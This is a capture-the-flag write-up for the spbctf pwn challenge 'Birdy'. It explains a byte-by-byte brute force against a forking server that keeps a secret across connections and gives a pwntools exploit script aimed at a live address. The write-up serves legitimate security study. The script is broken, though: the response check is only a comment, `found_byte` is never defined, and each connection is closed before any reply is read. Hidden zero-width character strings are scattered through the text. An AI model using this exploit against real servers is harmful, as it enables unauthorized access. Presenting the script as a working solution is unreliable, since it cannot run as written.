← Back to Writeups
CUSTOMMediumpwn

Birdy

XESXOR9/2/20262 min read
#pwn#custom#medium#byte_by_byte_brute_force#fork_based_server_persistence#partial_read_exploitation

Birdy

Platform: spbctf | Category: pwn | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2026-03-11 | Status: Solved Techniques: byte_by_byte_brute_force, fork_based_server_persistence, partial_read_exploitation

Summary

Task: guess an 8-byte secret value on a fork-based server where the secret persists across connections. Solution: brute-force the secret byte-by-byte using partial reads — send N bytes and detect correct guesses from server responses, then send the full secret with print_flag=1.

Birdy — SPB CTF Pwn Season

Description

"Угадайте птицу"
(Guess the bird)

Server: nc 109.233.56.90 11570
Binary: task — ELF 64-bit x86-64, PIE, not stripped
Points: 10

Analysis

Byte-by-byte brute force attack. The server forks for each connection, so the bird value remains constant across connections.

Memory Layout:

  • bird_copy (8 bytes) + print_flag (4 bytes) + loop (4 bytes) = 16 bytes read

Before read(), bird is copied to bird_copy. With a partial read (send N bytes, close connection), remaining bytes of bird_copy stay equal to bird. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

Attack Strategy:

  1. Send 1 byte + close connection
  2. If "Nice try" appears → comparison happened, byte 0 was overwritten but rest matched
  3. Brute-force byte 0 (256 values) until match
  4. Repeat for bytes 1-7
  5. Worst case: 8 × 256 = 2048 attempts
  6. Final payload: 8 known bytes + print_flag=1 + loop=0
python
from pwn import *

known = b''

for pos in range(8):
    for guess in range(256):
        io = remote('109.233.56.90', 11570)
        
        # Send known bytes + guess + partial to trigger comparison
        payload = known + bytes([guess])
        io.send(payload)
        io.close()
        
        # Check response (implementation depends on server behavior)
        # If match found, add to known bytes
        
    known += bytes([found_byte])
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Final payload with print_flag=1, loop=0
io = remote('109.233.56.90', 11570)
io.send(known + p32(1) + p32(0))
io.interactive()

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍